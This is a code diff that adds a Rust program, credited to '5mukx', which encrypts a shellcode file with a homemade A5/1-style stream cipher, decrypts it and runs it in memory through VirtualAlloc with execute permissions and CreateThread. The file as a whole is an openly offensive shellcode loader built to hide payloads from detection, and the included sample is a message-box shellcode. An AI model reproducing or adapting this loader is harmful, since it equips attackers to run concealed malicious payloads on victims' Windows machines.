|
| 1 | +/* |
| 2 | + Encrypt and Execute Shellcode using GSM A5/1 algorithm. |
| 3 | + Author: 5mukx |
| 4 | +*/ |
| 5 | + |
| 6 | +use std::{fs::{self, File}, io::Write, ptr::null_mut}; |
| 7 | + |
| 8 | +use winapi::um::{ |
| 9 | + memoryapi::{VirtualAlloc, VirtualFree}, |
| 10 | + processthreadsapi::CreateThread, |
| 11 | + synchapi::WaitForSingleObject, |
| 12 | + winnt::{MEM_COMMIT, MEM_RELEASE, PAGE_EXECUTE_READWRITE} |
| 13 | +}; |
| 14 | + |
| 15 | +const A51_KEY_SIZE: usize = 8; |
| 16 | + |
| 17 | +fn a5_step(x: u32, y: u32, z: u32) -> u32 { |
| 18 | + (x & y) ^ (x & z) ^ (y & z) |
| 19 | +} |
| 20 | + |
| 21 | +fn a5_1_encrypt(key: &[u8], msg: &[u8]) -> Vec<u8> { |
| 22 | + let mut r1 = 0u32; |
| 23 | + let mut r2 = 0u32; |
| 24 | + let mut r3 = 0u32; |
| 25 | + |
| 26 | + // Initialization |
| 27 | + for i in 0..64 { |
| 28 | + let feedback = ((key[i % key.len()] >> (i / 8)) & 1) as u32 |
| 29 | + ^ (r1 >> 18 & 1) |
| 30 | + ^ (r2 >> 21 & 1) |
| 31 | + ^ (r3 >> 22 & 1); |
| 32 | + r1 = (r1 << 1) | feedback; |
| 33 | + r2 = (r2 << 1) | ((r1 >> 8) & 1); |
| 34 | + r3 = (r3 << 1) | ((r2 >> 10) & 1); |
| 35 | + } |
| 36 | + |
| 37 | + msg.iter() |
| 38 | + .map(|&byte| { |
| 39 | + let feedback = a5_step((r1 >> 8) & 1, (r2 >> 10) & 1, (r3 >> 10) & 1); |
| 40 | + let mut key_byte = 0u8; |
| 41 | + |
| 42 | + for j in 0..8 { |
| 43 | + let bit = a5_step((r1 >> 18) & 1, (r2 >> 21) & 1, (r3 >> 22) & 1) ^ feedback; |
| 44 | + key_byte |= (bit as u8) << j; |
| 45 | + r1 = (r1 << 1) | bit; |
| 46 | + r2 = (r2 << 1) | ((r1 >> 8) & 1); |
| 47 | + r3 = (r3 << 1) | ((r2 >> 10) & 1); |
| 48 | + } |
| 49 | + |
| 50 | + byte ^ key_byte |
| 51 | + }) |
| 52 | + .collect() |
| 53 | +} |
| 54 | + |
| 55 | +fn a5_1_decrypt(key: &[u8], cipher: &[u8]) -> Vec<u8> { |
| 56 | + a5_1_encrypt(key, cipher) // decryption func is the same as encryption for A5/1 |
| 57 | +} |
| 58 | + |
| 59 | +fn read_file(path: &str) -> Vec<u8> { |
| 60 | + fs::read(path).expect("Failed to read file") |
| 61 | +} |
| 62 | + |
| 63 | +fn write_file(path: &str, data: &[u8]) { |
| 64 | + let mut file = File::create(path).expect("Failed to create file"); |
| 65 | + file.write_all(data).expect("Failed to write to file"); |
| 66 | +} |
| 67 | + |
| 68 | +fn execute_shellcode(shellcode: &[u8]) { |
| 69 | + unsafe { |
| 70 | + let mem = VirtualAlloc( |
| 71 | + null_mut(), |
| 72 | + shellcode.len(), |
| 73 | + MEM_COMMIT, |
| 74 | + PAGE_EXECUTE_READWRITE, |
| 75 | + ); |
| 76 | + |
| 77 | + if mem.is_null() { |
| 78 | + panic!("Failed to allocate memory for shellcode"); |
| 79 | + } |
| 80 | + |
| 81 | + std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len()); |
| 82 | + |
| 83 | + let thread = CreateThread( |
| 84 | + null_mut(), |
| 85 | + 0, |
| 86 | + Some(std::mem::transmute(mem)), |
| 87 | + null_mut(), |
| 88 | + 0, |
| 89 | + null_mut(), |
| 90 | + ); |
| 91 | + |
| 92 | + if thread.is_null() { |
| 93 | + VirtualFree(mem, 0, MEM_RELEASE); |
| 94 | + panic!("Failed to create thread for shellcode"); |
| 95 | + } |
| 96 | + |
| 97 | + WaitForSingleObject(thread, u32::MAX); |
| 98 | + VirtualFree(mem, 0, MEM_RELEASE); |
| 99 | + } |
| 100 | +} |
| 101 | + |
| 102 | +fn main(){ |
| 103 | + let key: [u8; A51_KEY_SIZE] = [0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88]; |
| 104 | + let input_file = "msgbox_shellcode.bin"; |
| 105 | + let encrypted_file = "encrypt_msg.bin"; |
| 106 | + let decrypt_file = "decrypt_msg.bin"; |
| 107 | + |
| 108 | + // encrypt_function exec |
| 109 | + let shellcode = read_file(&input_file); |
| 110 | + let encrypt_shellcode = a5_1_encrypt(&key, &shellcode); |
| 111 | + write_file(&encrypted_file, &encrypt_shellcode); |
| 112 | + |
| 113 | + // decrypt_function exec |
| 114 | + let encrypt_data = read_file(&encrypted_file); |
| 115 | + let decrypt_shellcode = a5_1_decrypt(&key,&encrypt_data); |
| 116 | + write_file(&decrypt_file, &decrypt_shellcode); |
| 117 | + |
| 118 | + // sample func to test and execute shellcode. |
| 119 | + execute_shellcode(&decrypt_shellcode); |
| 120 | +} |
0 commit comments